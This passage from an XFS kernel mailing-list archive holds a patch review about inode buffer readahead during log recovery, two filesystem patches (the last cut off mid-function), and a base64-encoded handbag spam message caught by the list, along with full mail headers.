User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1378252228 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 03, 2013 at 05:17:12PM -0500, Ben Myers wrote: > Hi Dave, > > On Sat, Aug 31, 2013 at 04:14:20PM +1000, Dave Chinner wrote: > > On Fri, Aug 30, 2013 at 01:15:20PM -0500, Ben Myers wrote: > > > Dave, > > > > > > On Tue, Aug 27, 2013 at 11:39:37AM +1000, Dave Chinner wrote: > > > > From: Dave Chinner > > > > > > > > CRC enabled filesystems fail log recovery with 100% reliability on > > > > xfstests xfs/085 with the following failure: > > > > > > Unfortunately I have not been able to hit this one... not sure why. > > > > > > > XFS (vdb): Mounting Filesystem > > > > XFS (vdb): Starting recovery (logdev: internal) > > > > XFS (vdb): Corruption detected. Unmount and run xfs_repair > > > > XFS (vdb): bad inode magic/vsn daddr 144 #0 (magic=0) > > > > XFS: Assertion failed: 0, file: fs/xfs/xfs_inode_buf.c, line: 95 > > > > > > > > The problem is that the inode buffer has not been recovered before > > > > the readahead on the inode buffer is issued. The checkpoint being > > > > recovered actually allocates the inode chunk we are doing readahead > > > > from, so what comes from disk during readahead is essentially > > > > random and the verifier barfs on it. > > > > > > > > This inode buffer readahead problem affects non-crc filesystems, > > > > too, but xfstests does not trigger it at all on such > > > > configurations.... > > > > > > > > Signed-off-by: Dave Chinner > > > > > > I've been mulling this one over for a bit, and I'm not quite sure this > > > is correct: > > > > > > My feeling is that in light of commit 9222a9cf, if we do take part of a > > > buffer back in time, the write verifier should fail. > > > > I don't see the connection between 9222a9cf ("xfs: don't shutdown > > log recovery on validation errors") and this issue. 9222a9cf works > > around are a longstanding architectural deficiency of log > > recovery, while this is a completely new problem introduced by the > > inode buffer readahead in log recovery. > > Commit 9222a9cf left buffer operations for inodes clear in the v2 inode case: .... Ok, you need to make your review comments about the code directly in the context of the code you are commenting on. i.e. something like this: > return; > > xfs_buf_readahead(mp->m_ddev_targp, ilfp->ilf_blkno, > - ilfp->ilf_len, &xfs_inode_buf_ops); > + ilfp->ilf_len, &xfs_inode_buf_ra_ops); "verifiers shouldn't be set for v4 filesystems, see xlog_recover_do_inode_buffer()". That would have made it obvious what you are commenting on. Indeed, that's a flaw in the original log readahead patch, and one that I didn't pick up when fixing the problem I sawi on v5 filesystems. --- As a process issue, Ben, you shouldn't be committing patches that haven't finished the review cycles. Both author and reviewer need to be satisfied the patch that is committed is good. This patch has a (now) obvious (to me) bug in it, but you committed it even though you thought it was wrong and commented as such. If I hadn't of said "I don't understand your review" even though you committed the patch this probably would have got dropped on the ground. So, please don't commit patches while the review process is still running... > Here's what I suggest: > > --- > fs/xfs/xfs_log_recover.c | 4 +++- > 1 file changed, 3 insertions(+), 1 deletion(-) > > Index: b/fs/xfs/xfs_log_recover.c > =================================================================== > --- a/fs/xfs/xfs_log_recover.c 2013-09-03 16:57:51.534388540 -0500 > +++ b/fs/xfs/xfs_log_recover.c 2013-09-03 16:59:13.784398092 -0500 > @@ -3309,7 +3309,9 @@ xlog_recover_inode_ra_pass2( > return; > > xfs_buf_readahead(mp->m_ddev_targp, ilfp->ilf_blkno, > - ilfp->ilf_len, &xfs_inode_buf_ra_ops); > + ilfp->ilf_len, > + xfs_sb_version_hascrc(&mp->m_sb) ? > + &xfs_inode_buf_ra_ops : NULL); That's fine. Please post it as a full patch with a commit message and a SOB.... Cheers, Dave -- Dave Chinner david@fromorbit.com From jeff.liu@oracle.com Tue Sep 3 21:41:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 13D417F52 for ; Tue, 3 Sep 2013 21:41:22 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id EFA34304082 for ; Tue, 3 Sep 2013 19:41:21 -0700 (PDT) X-ASG-Debug-ID: 1378262480-04cb6c2e9cd2f9b0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id CCywpB6ASRoDzc8O (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Sep 2013 19:41:21 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r842fHEJ020398 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 4 Sep 2013 02:41:20 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r842fGcW011794 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 4 Sep 2013 02:41:17 GMT Received: from abhmt107.oracle.com (abhmt107.oracle.com [141.146.116.59]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r842fG1C011789 for ; Wed, 4 Sep 2013 02:41:16 GMT Received: from [192.168.1.104] (/221.223.97.20) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 03 Sep 2013 19:41:16 -0700 Message-ID: <52269DF4.5040305@oracle.com> Date: Wed, 04 Sep 2013 10:41:56 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH] xfs: Make the incore inode di_size to xfs_ufsize_t Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH] xfs: Make the incore inode di_size to xfs_ufsize_t Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1378262481 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140270 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Make the incore inode di_size to unsigned, this would be helpful to catch the negative sizes of it in many cases, so that we don't need to perform additional check for it being less than ZERO or not. Reported-by: Dan Carpenter Signed-off-by: Jie Liu --- fs/xfs/xfs_inode_fork.c | 3 +-- fs/xfs/xfs_log_format.h | 2 +- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c index 02f1083..2b60a5a 100644 --- a/fs/xfs/xfs_inode_fork.c +++ b/fs/xfs/xfs_inode_fork.c @@ -167,8 +167,7 @@ xfs_iformat_fork( } di_size = be64_to_cpu(dip->di_size); - if (unlikely(di_size < 0 || - di_size > XFS_DFORK_DSIZE(dip, ip->i_mount))) { + if (unlikely(di_size > XFS_DFORK_DSIZE(dip, ip->i_mount))) { xfs_warn(ip->i_mount, "corrupt inode %Lu (bad size %Ld for local inode).", (unsigned long long) ip->i_ino, diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h index a49ab2c..2795fc5 100644 --- a/fs/xfs/xfs_log_format.h +++ b/fs/xfs/xfs_log_format.h @@ -547,7 +547,7 @@ typedef struct xfs_icdinode { xfs_ictimestamp_t di_atime; /* time last accessed */ xfs_ictimestamp_t di_mtime; /* time last modified */ xfs_ictimestamp_t di_ctime; /* time created/inode modified */ - xfs_fsize_t di_size; /* number of bytes in file */ + xfs_ufsize_t di_size; /* number of bytes in file */ xfs_drfsbno_t di_nblocks; /* # of direct & btree blocks used */ xfs_extlen_t di_extsize; /* basic/minimum extent size for file */ xfs_extnum_t di_nextents; /* number of extents in data fork */ -- 1.7.9.5 From earphones12@acc.comshoeshere.com Wed Sep 4 00:23:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.9 required=5.0 tests=FH_FROMEML_NOTLD, HTML_IMAGE_RATIO_02,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 842497F52 for ; Wed, 4 Sep 2013 00:23:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 672D4304051 for ; Tue, 3 Sep 2013 22:23:42 -0700 (PDT) X-ASG-Debug-ID: 1378272219-04cbb02c3cd28d80001-w1Z2WR Received: from goum.acc.comshoeshere.com (goum.acc.comshoeshere.com [198.56.211.34]) by cuda.sgi.com with ESMTP id mRBzTS3lJpxhu5ay for ; Tue, 03 Sep 2013 22:23:40 -0700 (PDT) X-Barracuda-Envelope-From: earphones12@acc.comshoeshere.com X-Barracuda-Apparent-Source-IP: 198.56.211.34 Comments: =?GBK?B?c2Rm?= X-DKIM: Sendmail DKIM Filter v2.8.3 goum.acc.comshoeshere.com 6BE6330D247 List-Owner: =?GBK?B?MTk6MzQ6MzE=?= List-Software: =?GBK?B?MSw2MTI=?= List-Unsubscribe: =?GBK?B?MSw2MTI=?= X-Mailer: =?GBK?B?MQ==?= Date: Wed, 4 Sep 2013 13:23:21 +0800 From: xe To: , , Subject: =?utf-8?B?cGF5cGFsIG9yZGVyIEJlc3QgZ2k=?= =?utf-8?B?ZnQtYWxsIGJyYW5kIGhhbmRiYWc=?= =?utf-8?B?cyDvvIFzcWl5ZW9ucA==?= Message-ID: <20130904132331010727@acc.comshoeshere.com> X-ASG-Orig-Subj: =?utf-8?B?cGF5cGFsIG9yZGVyIEJlc3QgZ2k=?= =?utf-8?B?ZnQtYWxsIGJyYW5kIGhhbmRiYWc=?= =?utf-8?B?cyDvvIFzcWl5ZW9ucA==?= X-mailer: Foxmail 6, 13, 102, 15 [cn] Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====003_Dragon535604006324_=====" X-Barracuda-Connect: goum.acc.comshoeshere.com[198.56.211.34] X-Barracuda-Start-Time: 1378272219 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: ac671593daed1001c8b0abe97646aa0d-4677-htm X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0113c, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140282 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MV0113c BSF_SC0_MV0113c 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. --=====003_Dragon535604006324_===== Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 DQoNCg0KDQoNCg0KUHJpdmFjeQ0KaGFuZGJhZ3NicmFuZGFsbC5jb20gcmVzcGVjdHMgeW91ciBw cml2YWN5IGFuZCB3aWxsIG5ldmVyIGFzayBmb3IgcGVyc29uYWwgaW5mb3JtYXRpb24gaW4gYW4g ZW1haWwgYWR2ZXJ0aXNlbWVudCBvciBzZWxsIHlvdXIgZW1haWwgYWRkcmVzcyB0byBhIHRoaXJk IHBhcnR5Lg0KDQpPdXIgZS1tYWlsIHJlY2lwaWVudHMgZ2V0IHRoZSBmaXJzdCBjaGFuY2UgdG8g c2VlIG5ldyBwcm9kdWN0cyxzcGVjaWFsIGFuZCBtb3JlLiBJZiB5b3Ugd291bGQgcmF0aGVyIHVu c3Vic2NyaWJlLCBjbGljayBoZXJlLg0KDQpGb3J3YXJkIHRvIHlvdXIgZnJpZW5kcw0KDQrCqTIw MTAgaGFuZGJhZ3NicmFuZGFsbC5jb20uY29tLCBhbGwgcmlnaHRzIHJlc2VydmVkLg== --=====003_Dragon535604006324_===== Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: base64 PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFs Ly9FTiIgImh0dHA6Ly93d3cudzNjLm9yZy9UUi8xOTk5L1JFQy1odG1sNDAxLTE5OTkxMjI0L2xv b3NlLmR0ZCI+DQo8SFRNTCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+PEhF QUQ+PFRJVExFPuaXoOagh+mimOaWh+ahozwvVElUTEU+DQo8TUVUQSBjb250ZW50PSJ0ZXh0L2h0 bWw7IGNoYXJzZXQ9dXRmLTgiIGh0dHAtZXF1aXY9Q29udGVudC1UeXBlPg0KPE1FVEEgbmFtZT1H RU5FUkFUT1IgY29udGVudD0iTVNIVE1MIDguMDAuNjAwMS4xODcwMiI+PC9IRUFEPg0KPEJPRFk+ DQo8VEFCTEUgYm9yZGVyPTAgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIHdpZHRoPTYwMCBh bGlnbj1jZW50ZXI+DQogIDxUQk9EWT4NCiAgPFRSPg0KICAgIDxURCBzdHlsZT0iUEFERElORy1S SUdIVDogMTVweCIgYmdDb2xvcj0jMWYxZjFmIGNvbFNwYW49MyBhbGlnbj1taWRkbGU+PEEgDQog ICAgICBocmVmPSJodHRwOi8vd3d3LmhhbmRiYWdzYnJhbmRhbGwuY29tIiB0YXJnZXQ9X2JsYW5r PjxJTUcgDQogICAgICBzdHlsZT0iQk9SREVSLUJPVFRPTS1TVFlMRTogbm9uZTsgQk9SREVSLVJJ R0hULVNUWUxFOiBub25lOyBCT1JERVItVE9QLVNUWUxFOiBub25lOyBCT1JERVItTEVGVC1TVFlM RTogbm9uZSIgDQogICAgICBhbHQ9ImZyZWUgc2hpaXBpbmcuIiBzcmM9Imh0dHA6Ly9jb3V0dXJl OTI1LmNvbS9hbm1lL3RvcF90MS5naWYiIHdpZHRoPTMyMCANCiAgICAgIGhlaWdodD02OD48L0E+ PC9URD48L1RSPg0KICA8VFI+DQogICAgPFREIGNvbFNwYW49Mz48QSBocmVmPSJodHRwOi8vd3d3 LmhhbmRiYWdzYnJhbmRhbGwuY29tIiB0YXJnZXQ9X2JsYW5rPjxJTUcgDQogICAgICBzdHlsZT0i Qk9SREVSLUJPVFRPTS1TVFlMRTogbm9uZTsgQk9SREVSLVJJR0hULVNUWUxFOiBub25lOyBCT1JE RVItVE9QLVNUWUxFOiBub25lOyBCT1JERVItTEVGVC1TVFlMRTogbm9uZSIgDQogICAgICBib3Jk ZXI9MCBhbHQ9IkhlbGxvd2VlbiBTYWxlOkxvd2VzdCBwcmljZXMgb2YgdGhlIGZhbGwuIiANCiAg ICAgIHNyYz0iaHR0cDovL2NvdXR1cmU5MjUuY29tL2FubWUvY190MS5qcGciIHdpZHRoPTYwMCBo ZWlnaHQ9NzEyIA0KICAgICAgdXNlTWFwPSNNYXA+PC9BPjwvVEQ+PC9UUj4NCiAgPFRSPg0KICAg IDxURCBjb2xTcGFuPTM+PEEgaHJlZj0iaHR0cDovL3d3dy5oYW5kYmFnc2JyYW5kYWxsLmNvbSIg dGFyZ2V0PV9ibGFuaz48SU1HIA0KICAgICAgc3R5bGU9IkJPUkRFUi1CT1RUT00tU1RZTEU6IG5v bmU7IEJPUkRFUi1SSUdIVC1TVFlMRTogbm9uZTsgQk9SREVSLVRPUC1TVFlMRTogbm9uZTsgQk9S REVSLUxFRlQtU1RZTEU6IG5vbmUiIA0KICAgICAgYWx0PSJmcmVlIGdpZnQiIHNyYz0iaHR0cDov L2NvdXR1cmU5MjUuY29tL2FubWUvY190Mi5naWYiIHdpZHRoPTYwMCANCiAgICAgIGhlaWdodD05 MT48L0E+PC9URD48L1RSPg0KICA8VFI+DQogICAgPFREIHZBbGlnbj1ib3R0b20+PEEgDQogICAg ICBocmVmPSJodHRwOi8vd3d3LmhhbmRiYWdzYnJhbmRhbGwuY29tL2xvdWlzLXZ1aXR0b24tbG91 aXMtdnVpdHRvbi13b21lbi1oYW5kYmFncy1jLTIzXzI2Lmh0bWwiIA0KICAgICAgdGFyZ2V0PV9i bGFuaz48SU1HIA0KICAgICAgc3R5bGU9IkJPUkRFUi1CT1RUT00tU1RZTEU6IG5vbmU7IEJPUkRF Ui1SSUdIVC1TVFlMRTogbm9uZTsgQk9SREVSLVRPUC1TVFlMRTogbm9uZTsgQk9SREVSLUxFRlQt U1RZTEU6IG5vbmUiIA0KICAgICAgYWx0PSJMb3VpcyBWdWl0dG9uIE1vbm9ncmFtIENhbnZhcyBV cCBUbyA2NSUgT2ZmIiANCiAgICAgIHNyYz0iaHR0cDovL2NvdXR1cmU5MjUuY29tL2FubWUvcHJf dDEuanBnIiB3aWR0aD0xOTkgaGVpZ2h0PTk2PjwvQT48L1REPg0KICAgIDxURCB2QWxpZ249Ym90 dG9tPjxBIA0KICAgICAgaHJlZj0iaHR0cDovL3d3dy5oYW5kYmFnc2JyYW5kYWxsLmNvbS9sb3Vp cy12dWl0dG9uLWxvdWlzLXZ1aXR0b24td29tZW4tc2hvZXMtYy0yM18xNjMuaHRtbCIgDQogICAg ICB0YXJnZXQ9X2JsYW5rPjxJTUcgDQogICAgICBzdHlsZT0iQk9SREVSLUJPVFRPTS1TVFlMRTog bm9uZTsgQk9SREVSLVJJR0hULVNUWUxFOiBub25lOyBCT1JERVItVE9QLVNUWUxFOiBub25lOyBC T1JERVItTEVGVC1TVFlMRTogbm9uZSIgDQogICAgICBhbHQ9IkxvdWlzIFZ1aXR0b24gRGFtaWVy IEF6dXIgVXAgVG8gNjAlIE9mZiIgDQogICAgICBzcmM9Imh0dHA6Ly9jb3V0dXJlOTI1LmNvbS9h bm1lL3ByX3QyLmpwZyIgd2lkdGg9MTk4IGhlaWdodD05Nj48L0E+PC9URD4NCiAgICA8VEQgdkFs aWduPWJvdHRvbT48QSANCiAgICAgIGhyZWY9Imh0dHA6Ly93d3cuaGFuZGJhZ3NicmFuZGFsbC5j b20vbG91aXMtdnVpdHRvbi1sb3Vpcy12dWl0dG9uLXdvbWVuLXRyYXZlbC1jLTIzXzY2Lmh0bWwi IA0KICAgICAgdGFyZ2V0PV9ibGFuaz48SU1HIA0KICAgICAgc3R5bGU9IkJPUkRFUi1CT1RUT00t U1RZTEU6IG5vbmU7IEJPUkRFUi1SSUdIVC1TVFlMRTogbm9uZTsgQk9SREVSLVRPUC1TVFlMRTog bm9uZTsgQk9SREVSLUxFRlQtU1RZTEU6IG5vbmUiIA0KICAgICAgYWx0PSJMb3VpcyBWdWl0dG9u IERhbWllciBDYW52YXMgVXAgVG8gNjUlIE9mZiIgDQogICAgICBzcmM9Imh0dHA6Ly9jb3V0dXJl OTI1LmNvbS9hbm1lL3ByX3QzLmpwZyIgd2lkdGg9MjAyIGhlaWdodD05Nj48L0E+PC9URD48L1RS Pg0KICA8VFI+DQogICAgPFREIHZBbGlnbj10b3A+PEEgDQogICAgICBocmVmPSJodHRwOi8vd3d3 LmhhbmRiYWdzYnJhbmRhbGwuY29tL2d1Y2NpLWd1Y2NpLXdvbWVuLXdhbGxldHMtYy0xXzIyNC5o dG1sIiANCiAgICAgIHRhcmdldD1fYmxhbms+PElNRyANCiAgICAgIHN0eWxlPSJCT1JERVItQk9U VE9NLVNUWUxFOiBub25lOyBCT1JERVItUklHSFQtU1RZTEU6IG5vbmU7IEJPUkRFUi1UT1AtU1RZ TEU6IG5vbmU7IEJPUkRFUi1MRUZULVNUWUxFOiBub25lIiANCiAgICAgIGFsdD0iR3VjY2kgVXAg VG8gNjUlIE9mZiIgc3JjPSJodHRwOi8vY291dHVyZTkyNS5jb20vYW5tZS9wcl90NC5qcGciIA0K ICAgICAgd2lkdGg9MTk5IGhlaWdodD05Mj48L0E+PC9URD4NCiAgICA8VEQgdkFsaWduPXRvcD48 QSANCiAgICAgIGhyZWY9Imh0dHA6Ly93d3cuaGFuZGJhZ3NicmFuZGFsbC5jb20vZ3VjY2ktZ3Vj Y2ktd29tZW4tdHJhdmVsLWMtMV8xNTAuaHRtbCIgDQogICAgICB0YXJnZXQ9X2JsYW5rPjxJTUcg DQogICAgICBzdHlsZT0iQk9SREVSLUJPVFRPTS1TVFlMRTogbm9uZTsgQk9SREVSLVJJR0hULVNU WUxFOiBub25lOyBCT1JERVItVE9QLVNUWUxFOiBub25lOyBCT1JERVItTEVGVC1TVFlMRTogbm9u ZSIgDQogICAgICBhbHQ9Ikhlcm1lcyBVcCBUbyA2NSUgT2ZmIiBzcmM9Imh0dHA6Ly9jb3V0dXJl OTI1LmNvbS9hbm1lL3ByX3Q1LmpwZyIgDQogICAgICB3aWR0aD0xOTggaGVpZ2h0PTkyPjwvQT48 L1REPg0KICAgIDxURCB2QWxpZ249dG9wPjxBIA0KICAgICAgaHJlZj0iaHR0cDovL3d3dy5oYW5k YmFnc2JyYW5kYWxsLmNvbS9ndWNjaS1ndWNjaS13b21lbi1zdW5nbGFzc2VzLWMtMV8yLmh0bWwi IA0KICAgICAgdGFyZ2V0PV9ibGFuaz48SU1HIA0KICAgICAgc3R5bGU9IkJPUkRFUi1CT1RUT00t U1RZTEU6IG5vbmU7IEJPUkRFUi1SSUdIVC1TVFlMRTogbm9uZTsgQk9SREVSLVRPUC1TVFlMRTog bm9uZTsgQk9SREVSLUxFRlQtU1RZTEU6IG5vbmUiIA0KICAgICAgYWx0PSJCYWxlbmNpYWdhIFVw IFRvIDY1JSBPZmYiIHNyYz0iaHR0cDovL2NvdXR1cmU5MjUuY29tL2FubWUvcHJfdDYuanBnIiAN CiAgICAgIHdpZHRoPTIwMiBoZWlnaHQ9OTI+PC9BPjwvVEQ+PC9UUj4NCiAgPFRSPg0KICAgIDxU RCANCiAgICBzdHlsZT0iRk9OVC1GQU1JTFk6IEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7 IENPTE9SOiAjOTk5OyBGT05ULVNJWkU6IDExcHgiIA0KICAgIGhlaWdodD01MCB2QWxpZ249dG9w IA0KICAgICAgY29sU3Bhbj0zPjxCUj48U1RST05HPlByaXZhY3k8L1NUUk9ORz48QlI+aGFuZGJh Z3NicmFuZGFsbC5jb20gcmVzcGVjdHMgDQogICAgICB5b3VyIHByaXZhY3kgYW5kIHdpbGwgbmV2 ZXIgYXNrIGZvciBwZXJzb25hbCBpbmZvcm1hdGlvbiBpbiBhbiBlbWFpbCANCiAgICAgIGFkdmVy dGlzZW1lbnQgb3Igc2VsbCB5b3VyIGVtYWlsIGFkZHJlc3MgdG8gYSB0aGlyZCBwYXJ0eS48QlI+ PEJSPk91ciANCiAgICAgIGUtbWFpbCByZWNpcGllbnRzIGdldCB0aGUgZmlyc3QgY2hhbmNlIHRv IHNlZSBuZXcgcHJvZHVjdHMsc3BlY2lhbCBhbmQgDQogICAgICBtb3JlLiBJZiB5b3Ugd291bGQg cmF0aGVyIHVuc3Vic2NyaWJlLCA8QSBocmVmPSIjIj5jbGljayANCiAgICAgIGhlcmU8L0E+LjxC Uj48U1BBTiBpZD1sd18xMjg2NjE1OTkyXzA+PEEgDQogICAgICBocmVmPSJodHRwOi8vd3d3Lmhh bmRiYWdzYnJhbmRhbGwuY29tIj48QlI+Rm9yd2FyZCB0byB5b3VyIA0KICAgICAgZnJpZW5kczwv QT48L1NQQU4+PEJSPjxCUj7CqTIwMTAgaGFuZGJhZ3NicmFuZGFsbC5jb20uY29tLCBhbGwgcmln aHRzIA0KICAgICAgcmVzZXJ2ZWQuPC9URD48L1RSPjxNQVAgaWQ9TWFwIG5hbWU9TWFwPjxBUkVB IA0KICAgIGhyZWY9Imh0dHA6Ly93d3cuaGFuZGJhZ3NicmFuZGFsbC5jb20iIHNoYXBlPXJlY3Qg dGFyZ2V0PV9ibGFuayANCiAgICBjb29yZHM9MTI4LDMxNCw1MDAsNjgwPjwvTUFQPjwvVEJPRFk+ PC9UQUJMRT48L0JPRFk+PC9IVE1MPg0K --=====003_Dragon535604006324_=====-- From gaofeng@cn.fujitsu.com Wed Sep 4 01:37:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 47EB67F52 for ; Wed, 4 Sep 2013 01:37:26 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 270C58F8040 for ; Tue, 3 Sep 2013 23:37:26 -0700 (PDT) X-ASG-Debug-ID: 1378276636-04cb6c2e9cd35e60002-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id ieBfTK2kD03k2SMK for ; Tue, 03 Sep 2013 23:37:25 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.89,1019,1367942400"; d="scan'208";a="8403808" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 04 Sep 2013 14:34:08 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r846bFfi027934; Wed, 4 Sep 2013 14:37:15 +0800 Received: from Donkey.fnst.cn.fujitsu.com ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013090414350695-1208867 ; Wed, 4 Sep 2013 14:35:06 +0800 From: Gao feng To: xfs@oss.sgi.com Cc: dwight.engen@oracle.com, david@fromorbit.com, bfoster@redhat.com, ebiederm@xmission.com, Gao feng Subject: [PATCH 1/4] xfs: add helper function to convert project id between user and kernel space Date: Wed, 4 Sep 2013 14:38:34 +0800 X-ASG-Orig-Subj: [PATCH 1/4] xfs: add helper function to convert project id between user and kernel space Message-Id: <1378276717-9663-2-git-send-email-gaofeng@cn.fujitsu.com> X-Mailer: git-send-email 1.8.3.1 In-Reply-To: <1378276717-9663-1-git-send-email-gaofeng@cn.fujitsu.com> References: <1378276717-9663-1-git-send-email-gaofeng@cn.fujitsu.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/09/04 14:35:06, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/09/04 14:35:07, Serialize complete at 2013/09/04 14:35:07 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1378276644 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140286 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Create two helper functions to convert project id between user and kernel space. Signed-off-by: Gao feng --- fs/xfs/xfs_linux.h | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h index f9bb590..cc9cc5b 100644 --- a/fs/xfs/xfs_linux.h +++ b/fs/xfs/xfs_linux.h @@ -215,6 +215,25 @@ static inline kgid_t xfs_gid_to_kgid(__uint32_t gid) return make_kgid(&init_user_ns, gid); } +static inline int +xfs_convert_to_kernel_projid(__uint32_t prid, prid_t *kprid) +{ + kprojid_t kprojid = make_kprojid(current_user_ns(), prid); + if (!projid_valid(kprojid)) + return -1; + + *kprid = from_kprojid(&init_user_ns, kprojid); + return 0; +} + +static inline __uint32_t +xfs_convert_to_user_projid(prid_t kprid) +{ + kprojid_t kprojid = make_kprojid(&init_user_ns, kprid); + + return from_kprojid(current_user_ns(), 